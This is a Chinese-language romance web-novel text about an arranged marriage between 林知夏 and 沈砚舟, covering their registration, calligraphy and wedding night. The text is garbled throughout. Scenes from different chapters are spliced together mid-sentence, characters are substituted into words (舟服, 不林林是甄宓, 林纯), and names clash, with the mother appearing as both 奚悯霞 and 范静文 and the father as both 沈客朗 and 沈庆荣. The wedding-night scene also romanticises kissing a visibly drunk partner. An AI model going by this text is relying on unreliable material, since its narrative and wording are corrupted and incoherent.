“孤男寡女非亲非故同处一室,那才是不方便。” 他在点她。 林知夏接收到沈砚舟懒懒扫过来的讯号,竟然有些不敢看他,便转身对着何与贤:“与贤哥,他是沈砚舟。” 何与贤眉头蹙了一下。 林知夏又道:“奚伯母大概不知他提前回来了。” 何与贤的眉头这才舒展开。 他伸出手,以一种近乎于长辈的沉重口吻介绍自己:“小沈总好,我是何与贤,苏家的律师。” 沈砚舟沉默地看着他,眸光流转,似有锋尖对麦芒,无声地在交战。 片刻后,他亦将自己的手掌伸出,给了体面,虚握了一下。 何与贤收回手,律师惜字如金。 “既然小沈总在这里,那你还是和我去住酒店吧。” 林知夏点头,“好”字还未说出口。 “不必。我只是来拿个东西。” 沈砚舟颀长的身影略过二人,林知夏无端觉得倚兰洲的湖水畔升起了一道凉风。 那风席卷了初春的暖意,只余一丝透凉,吹得她纤薄的身形在偌大的天地间孤立无依。 她想叫住沈砚舟的,但沈砚舟步伐稳健且长,未有一丝容她商讨的意思。 “你安心住便是。” 不算太温和的话语随风飘来。 “只是倚兰洲的安保你也见识过了,不是什么人都方便进出,多少也请注意点。” 林知夏还未顺着那道风将他的意思琢磨透彻,沈砚舟的身影已然消失在了院外。 她抿紧了唇角,暗道这似乎不是个很好的开端。 眉宇间的愁色又多了几分。 “他似乎并不像传闻中的那样好相处。”何与贤道出了林知夏心中的顾虑,“你若想退,还来得及。” “不。”林知夏依旧斩钉截铁。 没有什么退不退的,即便沈砚舟是个不大好相处的人,她也认了。 事关多方,她也不是可以随意任性的人和年纪。 “那我帮你拿东西,我们回酒店。” “不用。” 她再次拒绝了何与贤。 沈砚舟已经将倚兰洲让给了她住,最后那几句话,明里暗里还在点着她,让她清楚自己的身份。 再跟何与贤去酒店下榻,多少是在拂沈家的面子。 若是沈砚舟真的不好相处,她那么做,那便是火上浇油,再试图给她本就不幸福的婚姻加把火。 她不能在一切还未落定之前挑战沈家和沈砚舟的底线。 “我住这里就好。” 话音柔和却不容拒绝,林知夏转身走进别墅内。 但很快,她又拿着手包和随身物件出门来,似有外出的意思。 “这儿……不太方便。”看着何与贤,她神色沉稳,郑重其事,“但我有份协议想请与贤哥你替我起草,我们去外面聊聊吧。” 沈砚舟心头才要发作的那一点火气又被林知夏轻易浇熄。 他投降,面前轻晃的青葱柔夷更惹得他心乱。 他怎么会不知道那酒度数不高,他还知道,那酒后劲可大。 本来看她累了一天,一直不大有精神的样子,想着她一会酒劲上来了会更难受,这才打算叫她先装醉回去休息。 但她根本与他没有一点儿默契,叫她先走是做不到了,那干脆他带她走。 沈砚舟忽地伸手擒住林知夏的,拉着她便跟上前头的沈客朗和奚悯霞。 “爸、妈,我醉了,林知夏送我先回去。” 但他哪里有半分醉了的样子,连说话都中气十足。 林知夏瞪着眼看他。 沈客朗和奚悯霞也诧异回头,可沈砚舟还是微一扬首,十分坦荡地将婚宴丢给了家里人。 他手还未松,拉着林知夏便回了庄园的别墅里拿东西。 林知夏白日换了几套礼服,大大小小几个箱包都备上了,要回去休息也得用着。 林知夏就这么被沈砚舟牵着,跟着他进进出出,连句话也没说上。 沈砚舟倒也周到,看着白日里都没怎么瞧她,这会儿倒是挺熟络她的东西都在哪儿。 等东西都拿全了,司机老陈已经开了辆宾利到别墅前接他们。 “少爷,回松泠居?” 沈砚舟坐进车里,忽地回眸看了林知夏一眼。 “去倚兰洲。”《 》 50-55 第 51 章 第五十一章 从民政局出来的时候,艳阳高照,青空之上飞来几只雀鸟,依偎在树梢绿叶间倾吐浓情蜜意。 春日降禧,好像这个时节理应是万象更新、红情绿意的。 林知夏喜欢南乔的春色,她的心境并未往糟糕的方向变化,手里攥着那两本红本,她径直往沈砚舟开来的宾利去。 “等等。” 但沈砚舟叫住了她。 他的神色却不算愉悦,眉心处皱起了一座小山,在这片春色里蜿蜒起伏,砚上藏着些风雪。 林知夏驻足,不知沈砚舟又有什么不满,再一回神,沈砚舟已大步朝民政局院子外面走去。 到底是他疏忽了。 竟然忘了准备一束花给她。 看见院外有新人抱着花束往来,他心生懊悔,急急思忖着该如何弥补才不显刻意又能让她觉得更圆满一点,恰巧这时瞥见了一位席地摆摊的卖花老人。 他三步并作两步,凑近了一看,更是觉得巧妙。 南乔四月里暖和,花草开得比别地要早些。 老人身前的小摊子上摆着三种白里透点嫩黄的小花,栀子、茉莉与黄桷兰。 有的零散一包作了香囊,有的串成一串宛若风铃,还有的被制成了花环、手链的样式。 他浅笑了一下,拿出手机,“我全要了。” 是以他一身深沉黑衣,提着抱着满满当当黄白小花走回来的时候,林知夏被这不甚贴合的画面惊异到。 但直到花香扑近,他走至她的身前,一双眸子消融了冰雪,将远山后的春色带回,眼梢微微上挑。 林知夏又觉得,沈砚舟是有些温文尔雅在身上的。 “给你。”沈砚舟示意林知夏接花。 但花太多,林知夏不知从何接起。 “怎么买这么多?” 因为都想赠你。 想把这春色,和最好的,都赠予你。 沈砚舟的眸光闪烁了一瞬,他移开视线,“老人家着急回去,做个好事,发个善心。” “哦。”林知夏不疑有他。 见林知夏迟迟不动,沈砚舟又走到车边,歪了下头,林知夏会意地替他打开车后座的门。 沈砚舟将花全部放进了车里,一时间车内萦绕起馥郁的花香,冰冷的金属都染上一丝柔情。 好像从此之后,在这车上一闻到这道花香便能想到与之相配的人。 他抬起上半身从车后座出来,关门前的一刹,又俯身下去用手勾出了一朵黄桷兰。 回身正见林知夏站在他身后,沈砚舟的目光落在林知夏纤细的长颈下,旗袍第二颗盘扣上。 他的手快思绪一步行动了,捻着花靠近那颗蕊珠盘扣,两指灵活一绕,黄桷兰盈盈垂在了她的胸口,与她浅墨色长发和月牙白旗袍好不般配,宛如一幅古色古香的水墨画。 林知夏稍稍垂眸,还不知是否该觉得沈砚舟方才的行为唐突了,又听闻“咔嚓”一声,她怔怔抬眼,正对上了沈砚舟手里手机的镜头。 “咔嚓。” 又是一声。 “你拍我做什么?” “没什么。” 他食指摸上高挺的鼻骨,宽大的手掌挡去了唇边若有似无的一抹笑,手机在另只手的指尖一转,人已经上车。 “走吧,去吃饭。” 林知夏只好跟过去到副驾。 差不多也临近饭点,林知夏坐在副驾驶里将两个红本收好,还未问出要去哪里吃饭,沈砚舟的手机响了,他看也没看轻轻扔在了林知夏手里。 “帮我接。” 来电是奚悯霞,林知夏偏头,沈砚舟似乎早就料到。 按下免提的一瞬,奚悯霞声音急急从听筒里传出。 “阿舟!怎么突然就去领证了?日子还没有选呢!” 林知夏看着沈砚舟的侧脸,他稍稍挑眉,示意林知夏直接说话。 林知夏润了下唇,“伯母,我是林知夏,沈……他在开车,不方便听电话。” 语毕,又觉得一句话里几个称呼都没用好,林知夏有些局促地端正身子,在副驾上坐得笔直。 “啊?是夏夏啊。” 听见林知夏的声音,奚悯霞语气里的急切果然缓了许多,林知夏不禁觉得沈砚舟就是料到会如此才让她听的电话。 奚悯霞停了停又问:“这,领证,是你们商量好的吗?” “算是吧。” 那奚悯霞也没什么好说的了,她能埋怨沈砚舟,却还不好意思责怪林知夏。 于是话锋转了几转,只道:“那既然如此,今天就回家来吃饭吧,我们等你们。” “好的。”用过早饭,沈砚舟叫着林知夏到了书房。 沈家一家除了沈砚妙,皆好文学古韵,身上多少沾染了些书卷意气,书房是整个松泠居的别墅内布置得最为雅致的地方。 林知夏刚一进屋便闻到了一股馨幽的墨香,她抬眸朝窗边的一方黄花梨翘头书案望去,上头已铺了一沓四四方方的红纸,镇纸镇着,旁边一方凤栖祥砚纹端砚里已研好了墨。 许是掺了金墨与金箔,映着窗外朝阳,流光奕奕,光明灿烂。 沈砚舟亭亭立在书案旁边,衬衫的袖口卷起,见林知夏来了,他放下手中墨条,招呼她:“来。” 林知夏朝他过去,鞋跟在木地板上轻巧发出“哒哒”的声响,踏进了他的心里。 他抛给她一个锦盒,林知夏打开一看,里头是一方彩绘描金的朱砂鸳鸯墨。 林知夏讶然,“这是?” “虽说是你来赔罪,但我也不能光占你便宜。”沈砚舟摸摸鼻骨,“一点谢礼。” 他没敢说这是他那日专程从倚兰洲拿的。 知道联姻已定后,他从国外飞回南乔的路上刚巧想起自己在倚兰洲还收了两方好墨,一方可开了用来写喜字,另一方正好做见面礼赠给他素未谋面过的联姻对象。 只是没想到联姻对象竟然是林知夏,两方墨刚巧又用到、赠到了点子上。 他是欣喜的,就是那天被林知夏一气又不想将墨送出去了,这才拖到了今日。 林知夏不晓得沈砚舟所思所想,只伸手轻轻抚过那方鸳鸯墨。 墨色纯正,砂质细润,描金绘彩,正面浮雕的鸳鸯戏水图栩栩如生。 她心头喜爱,抬起头问沈砚舟:“你要我帮什么忙?” “替家里写几张喜字。” 沈砚舟从笔架上挑了支狼毫递给她,林知夏跟着他,目光在红纸上落下。 前几日便有听闻,沈家逢年过节遇喜事,习俗守旧,家人团聚时最热闹最好玩的便是满院子里挂红灯笼贴红纸,而那些对联和大字皆是由沈家人自己写的。早些时候沈客朗写得多,后来他年纪上来,沈砚舟便成了主力。 难怪沈砚舟会说叫她帮忙。 她估量了那沓红纸,不在少数。 不过抽一个上午来写完这些也不算什么,她自幼喜静,无论是儿时苏道生教她写字,还是长成后她闲暇时胡乱写几个字画一幅画,动辄将自己关在书房几个小时也是有的。 而且她害得沈砚舟险些着凉感冒,她心有歉意,答应他帮忙就是答应了,也不会反悔。 只是…… “你怎么晓得我会写字?” 林知夏接过那支狼毫笔,转身走到书案里侧。 沈砚舟将镇纸拿在手里盘转一瞬,眼梢微挑,眸子里也如那金墨泛起金光。 “我自然晓得。” 林知夏不解。 不过她很快琢磨过来。 也是。 她出身砚苏苏家,外公苏道生在书法篆刻上算是颇有造诣,她自小跟着苏道生长大,耳濡目染也算小有所成,这些年她在苏家除了跟着苏道生一起打理些简林的事务外,闲暇时就爱作点字画,倒还真得了些人的赏识。 只是这些事她从来没有和沈家人提过,想来沈砚舟会知道,多半是知晓要与她联姻后,提前叫人去打听查问了。 林知夏并不介意沈砚舟调查她,这本来就是联姻两家应该做的事。 她拾起狼毫笔蘸了些墨。 “写什么字体?” “随你喜欢。” 沈砚舟懒懒仰头,明明这是沈家的重头戏,他还早早来研墨裁纸,还专程叫了她来,可现在看着又是并没有太把这事放在心上似的。 林知夏拿捏不准,敛着眉思忖片刻,落笔。 狼毫控锋强劲、笔画规整,最适宜写楷书与行书,林知夏稍试了几张后,逐渐找来了些许手感,原本还敛着的眉头渐渐舒展开来。 她又写两张,落笔越发劲挺流畅,将性子里收敛的那一些些锋芒都融在了笔触里,一气呵成,好不自在。 但她忽然又皱起眉来,调出的金墨浮在红纸之上,行书恣意,楷书挺拔,好看是好看,却到底写的是个端庄规整的喜字,有些不衬。 稍稍一琢磨,林知夏微不可察地摇了摇头,又抽出几张纸,这回刻意藏锋逆锋,饶是握着一杆狼毫,也稳稳写出了隶书与篆体。 左右一看,似乎还是不满意,又换了张纸出来,再沉住气细细写过,端着笔看了好久,这才笑了。 她放下笔,小心翼翼地将那张隶书喜字递到沈砚舟面前,刚想问他哪种好些,叫他来选,却蓦然对上他微微发怔的眼神。 “你?” “写完了?” 沈砚舟被林知夏出声打断回忆,他朝她手中一看,她两手正献宝似的托着张隶书双喜大字。 嘁,到底是把他忘了。 他在心中愤懑嘲了一声。 砚苏苏家林知夏写得一手好字,最擅便是小楷,当年在学校的文化节上可没少获好评。 那时还是他一力举荐林知夏去写字的,他一眼就看中了她的小楷,明明多画两幅画对他来说也不是什么难事,却依旧使唤着当时讨了个生活委员当官做的孟川去磨班长,硬是让班长说动了林知夏也写一幅字,代表班级参加文化节。 孟川怄他:“你也手断了么?多画两幅画会死?不知道我和班长不对付呢?” 沈砚舟白他一眼:“拿人粮饷、食人俸禄,你当个生活委员就要替人民办事。” “这是一回事吗?” “怎么不是?”老陈将沈砚舟和林知夏送回了倚兰洲十二栋,沈砚舟向他道了声辛苦,让他早些下班回家休息。 林知夏立在庭院前头,几日未回,院子里的花草又茂密了许多,倚兰洲地处僻静,住的人家也不多,此时夜里整个静谧欣然,夜风伴着点点湖畔的湿气氤氲在她身周,有些沁凉,但她找回了些舒适松快的感觉。 “喝了酒还吹冷风?你想感冒,我可不会照顾你。” 沈砚舟的声音从身后传来,言辞不善,但总归是在提醒她。 林知夏回头看他,老陈已经开车走了,偌大的庭院前头空旷无比,就剩了他们两个。 天地方圆,夜幕繁星,他们两个独立渺小的个体,于宇宙万物和亘古岁月而言,实在是太渺小太不值一提了。 可于他们的生命而言,他们的名字被刻在了对方的生命里,短短几十年,因为一场婚约的缔结而深深缠绕。 早在这世界中因万有引力而吸引到了一处,量子纠缠不休,他们又不仅仅是独立渺小的个体了。 合在一起,也显得有依有靠。 这夜色皎洁,仿佛能看见银河流淌,他们隔得不远,林知夏朝沈砚舟一望,他挺拔挺立着,一只手的臂弯里随性地搭着他的西装外套,整个人立在潺潺月光下,轻佻与稳重两种相差甚远的气质同时浮现在他身上。 仿佛也看见了他眼里的银河璀璨。 林知夏忙伸手将一缕飘散的鬓发别在耳后,长睫掩下,遮去了一丝丝藏在这舒适静谧之中的局促。 她弯腰想去拿地上放着的箱包。 沈砚舟快她一步躬身将箱包都拿起。 “去开门。密码1122,你知道的,我的……” “你的生日。” 她脱口而出。 倚兰洲十二栋的大门密码和沈砚舟的手机密码一样,林知夏早就记住了,她也在倚兰洲住了几天的。 不用沈砚舟再说,她轻声应了一句,害怕沈砚舟长久拎那些箱包太重,小步快走到大门前按了密码。 沈砚舟在她身后挑起眼梢,唇角微微勾起。 不错,竟记住了。 他心情骤然好了起来,连带着步伐也快了些。 那点东西拎在手里对他这种常年举铁的人来说根本不在话下,他轻而易举跟在林知夏身后进了门。 咔哒一声,门顺手被沈砚舟关上,林知夏听见身后的动静,意识到她和沈砚舟两个被关在这一方独立的空间里了,后知后觉又想起了婚礼上那个吻。 这栋别墅的套内面积可以说很大,但仅容得他们两个人的时候,空间无形中伴着逐渐升温的紧张感而又压缩变小。 四周仿佛都是沈砚舟惯用的檀香味,如藤蔓一点一点将她缠绕。 林知夏不明白沈砚舟带她来倚兰洲的用意,但她觉得自己应该给自己做一些心理建设。 她深深吸了一口气,鼻尖的檀香味却越发浓烈起来。 还没回身,却见沈砚舟擦着她过去,自顾自将箱包提着上了二楼。 他将她的东西放进主卧,自己则往客卧走去。 “回松泠居免不了被他们闹,你就继续住这里,我去客卧睡。” 草草丢下这一句话,林知夏怔了一下,沈砚舟转身已经进了客卧关上了门。 她拿捏不准沈砚舟的心思,不知沈砚舟到底作何想法。 但好在今夜似乎不必再去思虑那些有的没的,她可以林独睡在一间房里。 她累了一整天,的的确确想睡个好觉。 等洗漱完毕,疲乏和酒劲齐齐涌了上来,林知夏不知那酒后劲儿竟然这么大。 尽管身上干净滑嫩,但每一个细胞、每一个神经末梢都变得沉重无比。 林知夏太阳穴两侧崩得紧紧的,隐隐作痛,她坐在床上缓了许久,想睡却又难受得有点睡不着。 手机突然弹出了消息,是大数据分析推送来的网络热帖: 新婚第一夜夫妻都做些什么。 她想把消息划掉的,却眼花了一下,误触点了进去。 那条热帖里已经有了好多好多的评论,网友们回复着新婚第一夜他们做了什么,或打趣或笑闹,大部分除了恩恩爱爱,便是一起数份子钱数到天亮。 林知夏看了几条,看见屏幕里脸颊微红的自己。 这也是她的新婚夜。 可她的新婚夜,没有数礼金也没有别的环节,这大概就是联姻婚姻的模样,也很正常。 只是酒精惹得她的思绪飘飞,又不知不觉想起婚礼上的那个吻。 她的视线凝在了屏幕里倒映的红唇上,唇瓣上柔软的触感还依稀犹存,她闻到了空气里淡淡的属于沈砚舟的檀香味道。 “咚咚咚。” 三声敲门响惊醒了林知夏,她恍然从床上起来,怔了一瞬,披了条披肩脚步虚浮走到门边。 这个时候来敲她门的不会是别人,这栋别墅里头也只有她和沈砚舟两个。 打开门,沈砚舟果然倚着门框斜斜站着。 他换了家居服,手里端着碗深棕色的茶汤,一股酸酸甜甜开胃的味道飘忽到了林知夏鼻尖。 林知夏抬眸看着沈砚舟。 沈砚舟摸了摸鼻骨,“解酒的,没控制好量煮多了,给你喝。” 林知夏微微睁大了些眼,还没喝到解酒茶呢,头脑里崩了许久疼了许久的那根弦忽而便松弛下来。 似乎仅听了这句话她就已经好了许多。 不疼了,只是还有点晕。 她嘴角动了动,好难得地真心扬起笑意,伸手接过沈砚舟手中的碗。 那碗茶汤盛得满满当当,怎么看也不似没控制好煮多了的样子。 林知夏小心翼翼地接,手背不经意间与沈砚舟的骨节相碰,茶汤在琉璃盏中轻晃,绮丽的光彩荡漾在他二人之间。 等林知夏接过琉璃盏,沈砚舟倏然收回手,林知夏不知为何又掀起眼皮凝住他闪躲的眼眸。 视线慢慢往下,从他高挺的鼻梁滑了下去,又落在他薄薄两瓣并出一条好看线条的嘴唇上。 光影流转,她的心也跟着飘荡,飘上了砚端,晕晕乎乎不知所以然。 他是真的很好看,光站在那里,端的是优雅温柔,像一件出尘的艺术品。 虽然有时候也会有些小脾气,但艺术家都会有些古怪的小脾气,那他作为艺术品么,有的话也可以包容。 如果他那双薄唇有时候说话不那么刻薄嘴硬,她大概会更喜欢。 林知夏蓦地伸出手就要去触碰沈砚舟的嘴唇。 “你干什么!” 沈砚舟反应很快,一下便擒住了林知夏的指尖,她怔怔看着他,沈砚舟一看林知夏那模样便蹙起眉心。 “你醉了。” “我没有。” 跟在婚礼上一样,林知夏还想伸出手指头来数一二三四五作证,但她一手端着解酒茶,一手又被沈砚舟擒着,试了几次都没能抽出来。 她有些丧气地向下撇嘴,沈砚舟却觉得好笑。 难得看到她有这样生动表情的时候,醉了酒竟还是有好处的。 他不自觉露出一个惬意的笑容。 这又被林知夏瞥到,沈砚舟弯弯的嘴角好似一轮明月,散发着明亮温柔的光芒,无声勾动她的心弦。 她想,那唇瓣今日吻了她的,他还说那是利息。 什么利息? 他们做夫妻的谈什么本金利息,接吻理所应当。 思忖间,她忽地伸手向前一推,沈砚舟擒着她的那只手被一齐带到了他的胸前,胸膛厚实像一堵墙,林知夏连带着他的手和家居服领口一块儿抓,布料皱起,她骤然踮脚过来。 却准头不够,柔软的唇堪堪擦着沈砚舟的嘴角过去,在他侧脸轻轻一触又退开了。 像一只偷腥的猫儿。 沈砚舟瞪了眼,继而马上又敛起眼眸。 他晃神之时林知夏已经将手给抽了回去,沈砚舟再想攥住却捉了个空。 他只好用言语威胁她。 “林知夏,你又偷亲我?!” 这事不算是她第一次干了,轻车熟路居然还能亲歪。 沈砚舟心情复杂。 “我没有。” 她还在否认,无辜地瞪着他,仿佛刚才干坏事的与她断然无关。 可眼里分明还流淌着得逞了的得意。 “你有。”沈砚舟语气凶了半分。 “我没有。” 林知夏也不知是不是醉得忘了怕,轻轻摇了摇头,身子跟着晃动,丝质的披肩在她的动作间丝滑从她肩头坠落,露出了一大片白皙如玉的肌肤。 沈砚舟无端觉得那片肌肤亮得发烫,他的眼眸被灼到,忽闪几下最后还是盯住了林知夏。 他没什么要不好意思的,是她先动的手。 他微眯眼睛,像头草原上威风凛凛,正盯准着猎物的狮子。 草原都在他掌下,他足够能掌控全局,却又优雅体面给足了她逃走的机会。 沈砚舟问:“林知夏,你知道你自己在干什么吗?” 林知夏眼睛亮晶晶的,点点头:“我在亲你。” 他眉眼敛得更深,靠得她也愈发近了点,酒气好似挥发到了空气中,萦萦流转着,叫他眼眸中都蒙上一层欲色,就连声音都低沉了几分。 他的喉结上下一动。 “小醉鬼,那你知道,你亲我,代表什么吗?” 林知夏眨眨眼,忽然不说话了。 “嗯?”他耐着性子轻声诱她。 她还是不说话。 像突然宕机了一样,眉头微微皱着,费劲地在想些什么,却因为现在这混沌的状态而根本捋不清脑子里的乱麻。 她甚至朝内敛起眼眸,清冷的狐狸眼顿时变作了水汪汪的狗狗眼,好似她实在无能为力,只能苦恼地向他求助。 又林纯,又撩人。 沈砚舟哪里还矜持得住,他又不是什么正人君子,至少……被正儿八经明媒正娶的太太撩拨着的时候,可以不是吧。 最多最后压低声音警告她一句:“我可是会趁人之危的。” 然而这回她的思绪又连上了,忽而展颜一笑:“我们是夫妻,接吻是理所应当的,不叫趁人之危。” 好呗。 他都怀疑她是故意的。 但有了林知夏这句话,沈砚舟再顾虑这么多倒显得是他不行了。 他眼神黯下来,突然往前一靠,手掌撑住门框,将林知夏一整个圈在怀里。 沈砚舟指着前排一位手上缠纱布的男同学道:“老白叫我出两幅字,叫他画画。可他现在把手给摔断了,我一个人怎么能全包?” 他头头是道:“这不叫替我分担,这叫为班级出力。” 孟川两眼一翻往后倒,说不过他便不说,反正林知夏也答应了。 只是没想到这事仍旧一波三折。 第一日,班长把这活交给了林知夏,她温温软软答应了,第二天就带了一幅字来。 可还不等班长把字交上去,那幅被林知夏放在课桌上的字转眼就被茶水打了个透湿,打闹的同学悻悻赔罪也抢救不回来了。 沈砚舟在心里直呼可惜,他只在课间路过林知夏的课桌时瞥见过她写的字,好不容易说动她写了一幅墨宝,卷轴还没打开便没了。 他看着林知夏面上萦绕的愁色,以为林知夏不会再写,又暗自后悔叨扰了她,却不想第三日林知夏居然再带了一幅字来。 这回她好好封装了,一来学校就找到班长要交给她,本来一路顺顺利利毫无差错,千算万算也算不到,两人拆封交接时又来了个冒失鬼,糊里糊涂撞上班长后背,那幅字撕拉一声,又夭折。 林知夏脸上柔柔的笑意都还没褪去,乍见自己的字出师未捷身先死,眼眶里瞬间胧起一层水雾。 这下连一向以好脾气闻名的沈砚舟都发了火,抓着那冒失鬼:“你看没看路!” “还……来得及吗?” “什么?” 嘈杂的课间人声鼎沸,林知夏一句还来得及吗,出乎所有人的意料。 沈砚舟站在一旁看着她将眼里的雾气眨去,只愧疚难当地小声问着班长:“我明天再写一幅,还来得及交吗?” 他瞬间觉得自己犯了个大错,好端端地叫她写什么字?无端让她受累受委屈! “来、来得及。” 班长站在林知夏面前,斜眼睨着站得几人远的沈砚舟,见他怔怔不说话便赶紧哄着林知夏。 “来得及的,不过你要是不想写了也没关系,差一幅就差一幅。” “没关系,我可以写。”林知夏摇头,唇角抿出一丝笑意。 沈砚舟忍不住扬声问:“你没脾气的么?” 林知夏垂着头,一笑了之。 所幸最后他们班还是按时交上了两幅画两幅字,林知夏那一手小楷端方秀美,柔中有刚,温婉清逸,写曹子建的《洛神赋》,那句翩若惊鸿、婉若游龙,沈砚舟觉得写得不林林是甄宓。 实在难忘。 却不想她现在倒板板正正托着一张隶书来给他看,还如此小心翼翼,恭敬又讨好。 怎么?他就这么不识风雅? 老实说,林知夏的字挑不出半点错处,任谁来赏都是要夸赞一句的。 但沈砚舟不高兴,一想起她彻彻底底没记起他,他就不高兴。 “这张太柔,一点都没有喜庆的意思。不行。” “这张……勉勉强强吧,最后收笔太急。” “这张笔锋过于犀利了!林知夏,你是要跟我结婚还是要跟我拼命?” 林知夏缄默半天。 “是你给我挑的狼毫。” 奚悯霞又和林知夏聊了两句,道了别,林知夏欲问沈砚舟还有没有要说的,奚悯霞已经先把电话挂断。 林知夏手里握着沈砚舟的手机,想要递还给沈砚舟又怕打扰到他开车,而且沈砚舟没有一点要把手机收回来的意思。 他没开导航,也不用导航。车子早早上了高架,一看就是回松泠居的路。 林知夏不禁又有点诧异,沈砚舟是早就料到了奚悯霞会打电话来追问,又料到了奚悯霞会叫他们回去吃饭? 所以一开始从民政局出发就打算回松泠居的? 他的心思多变,她算不准,怔怔看了他几秒,收回了视线。 为表礼貌,她欲替沈砚舟把手机屏幕摁息,不经意垂眸的一瞬却意外地看见了自己的身影。 接奚悯霞电话时的界面是微信朋友圈,蓝天白砚头像右侧是一个大写的H。 下方几分钟前新发的朋友圈没有配字只有一张照片。 是他刚给她戴好那朵黄桷兰,又趁她不注意时拍下的。 衣着表情没什么不好,她一袭月牙白旗袍,背后是郁郁葱葱的绿茵树木,站在那里就是一幅画。 手里的两本红本更是夺人眼球。 评论区已有人陆陆续续在点赞道恭喜,沈砚妙的名字也在其中,这就不难解释为什么奚悯霞的电话来得这么快了。 只是。 林知夏并未想过沈砚舟会将她,将他们领证了的照片公布出去。 若是情侣,此举还能称得上一句官宣,是开诚布公宣告心意的表现。 可他们不是,本不用多此一举的,亲近的人知晓便是。 若沈砚舟从前现在哪怕将来,身边还有什么个红颜知己,这样一来更是无端给他招惹了麻烦。 却没想到沈砚舟还是这么做了,似乎还挺坦然,丝毫不怕,甚至是想让旁人知道的样子。 林知夏揣测不通他的心意,握着他的手机,拇指无意识在边框摩挲起来。 沈砚舟从余光中瞥见,索性开口:“加个微信吧。” “什么?” “加个微信。”沈砚舟视线朝她手里一递,“手机正好在你那儿,把我们微信加上。” 林知夏反应慢了半拍,沈砚舟敛了眉,似乎又有点不高兴了。 林知夏马上说:“我不合适……” 不合适去看他的微信界面。 “锁屏密码1122,我的生日。” 第 52 章 第五十二章 不出门的日子,林知夏过得很轻松,她也不需要做家务,只需要负责吃负责喝陈阿姨做的补汤就行了。 她都怕吃得太多了,又不运动把自己吃胖了,为此一天晚上和沈砚舟一起吃饭,都不敢动筷子。 沈砚舟看她吃得少,问是不是桌上没有她喜欢的菜,一副她说没有就立马叫陈阿姨重新开火做一样。 她连忙摆手,略略不好意思地说:“我中午已经吃过了,下午还吃了甜点,晚上再不节制,恐怕舟服的拉链都要拉不上去了。” 这话让沈砚舟极为诧异,他上下打量了林知夏一眼,视线落在她衬衫领口露出的形状优美的锁骨上,都瘦成这样,还要减肥,未免太过了。 他想了一下,认真地建议说:“过度节食,很伤胃。”又皱眉,“舟服不都是可以修改尺寸吗?他们不给你改?” 林知夏一愣,慢慢地眨了一眼睛,心想沈砚舟在关心她吗? 分外有一种受宠若惊的感觉,她忙摇头说:“不是,可以的。我没有节食,就是今晚不饿而已。” 沈砚舟点点头,没有再多说,他向来不是多嘴的人,林知夏已经习惯。 不过,第二天林知夏发现,沈砚舟居然还在家吃饭,没有出去应酬。 他能在家,林知夏只有高兴的,于是一晚上都眉眼带笑,等吃完的时候,沈砚舟却对她说:“今晚你正常吃饭了。” 什么?林知夏微微一怔,目光疑惑地看向沈砚舟。 沈砚舟便继续解释说:“我怕你节食,你没有我就放心了。” 他说话的语气平平常常,林知夏却听得心中情绪剧烈翻滚,脑海中只回荡着一句话:原来沈砚舟是担心她节食才留在家里监督她吃饭的。 对于沈砚舟的喜欢在这一刻都具象化,那个一心一意笔直向前的骄傲身影,也会在某一刻停下脚步,回头看向她这个仰望他的影子。 怎么会那么喜欢他呢,林知夏想。不回应也没关系,看不到她也没关系,他永远向前也没关系,她喜欢他就好了。 像沉默的、只会仰望太阳的向日葵一样。 太阳看不到它,但是太阳给予的光和热已经能让继续它继续仰望下去。 不知道是不是真的心情影响生活的好坏,在林知夏待在家里的这段时间居然没有任何意外事件发生。 等她全好了之后,她先去了沈园。沈园经过上次的热闹,如今很是平静。范静文还在林知夏临走时,拉着她去自己的房间,打开她的首饰柜,让她挑一件首饰戴上。 范静文已做了多年的沈夫人,手上攒的名贵珠宝件件都是精品,林知夏哪敢收下这么重的舟物,想也不想就要站起来拒绝。 但是范静文却按住她的肩膀,执意让她继续坐着,说:“你不挑,我来选了。我就怕我选的石头,你回头不喜欢。” 不愧是沈夫人,对于珠宝钻石已经过眼云烟,一律只当成石头罢了。 “你还年轻,戴那些死沉死沉的玉石不好看,我看就选钻石吧,我上次看你戴的项链就挺好看的。”范静文说,一边挑起一条粉色的鸽子蛋,“那是砚舟给你挑的吧,这孩子也是的,送给你的首饰,克拉那么小,真是——我下次好好说他!” “这条好,颜色好看,切面也够行家,你戴上绝对晶莹。”范静文把这条粉钻项链直接戴到了林知夏的脖子上。 随后,不管林知夏怎么拒绝,她还给林知夏配套了一只戒指和一对耳环,让林知夏离开沈园时,都觉得全身重了半斤。 哪怕是因为上次救了范静文一次伤到了手腕,也不值得这么贵重的首饰。这些都是范静文的私产,她虽然自己不怎么出门佩戴了,但是留给沈砚音还是很是可观的。 沈砚音虽然是沈家千金,但是手上大件的珠宝也不多,有时候要找范静文来借,她要是忘了不还,范静文还会要回来,不给她私拿。 范静文是这样说的,这些首饰她要是有一天没了,可以给你,但是你不能理所当然把我的东西当作自己的。 这一点,不管是沈庆荣,还是林知夏看,都是很好的教育方法。 如果沈砚音找范静文要了首饰就不还了,以后她的胃口越来越大,不知道要惹出多大的祸事。 那现在范静文给她首饰,肯定是原因的。林知夏坐在车内,不由仔细思索她跟自己说过的每一句话。 大家大族就是这一点上烦人,有什么事不直接说,需要人去层层琢磨。 想了好一会儿,林知夏琢磨出一点不同来,“那是砚舟给你挑的吧……”,“送给你的首饰,克拉那么小”,“我下次好好说他!”。 恰好,范静文今天给的全是钻石,问题就是出现在那条钻石项链上。 是,翡翠之类的玉石,林知夏还戴不出来味道。但是红宝石、绿宝石,做成颈链,她怎么会戴不出去? 没看到英国那位著名的王妃戴过的绿宝石、蓝宝石有多出彩。 谁又说她年纪太轻而压不住呢? 那条钻石项链出什么事了?林知夏不由想,她还真不知道这条项链是沈砚舟从哪儿买的。 一般情况下,沈砚舟时常要去看一些慈善晚宴,买下几件拍卖品很常见。其次就是一些珠宝商,做出了新的首饰,也会联系大客户,发来图片,看看有没有人要订下来送人。 心里有了具体的疑问对象,林知夏就好去寻找原因了。 在珠宝这一块,林知夏认识的张太太就十分内行,她也是最热衷这一块,什么首饰她看一眼,就能不假思索地报出来源和实际价值。 于是,等到家里,林知夏就去自己的房间,翻出那条项链,拿手机拍了一张照片,发给了张太太。 张太太的夫家是做房地产行业的,所以资本雄厚,供得起张太太玩珠宝。 林知夏留言说:“这条钻石项链是我最近收到的,张太认不认识是哪家出的?” 张太太人也热情,很快就回了消息,说:“原来这条项链最后入了沈太太你的手里!” 有戏。林知夏心里一定,给张太太拨了电话过去。 张太太接起电话,先报了那条项链的品牌,然后继续说:“这是新出的项链,听说还没有借过人,我们是第一批看到货的人,广告都没打呢!” 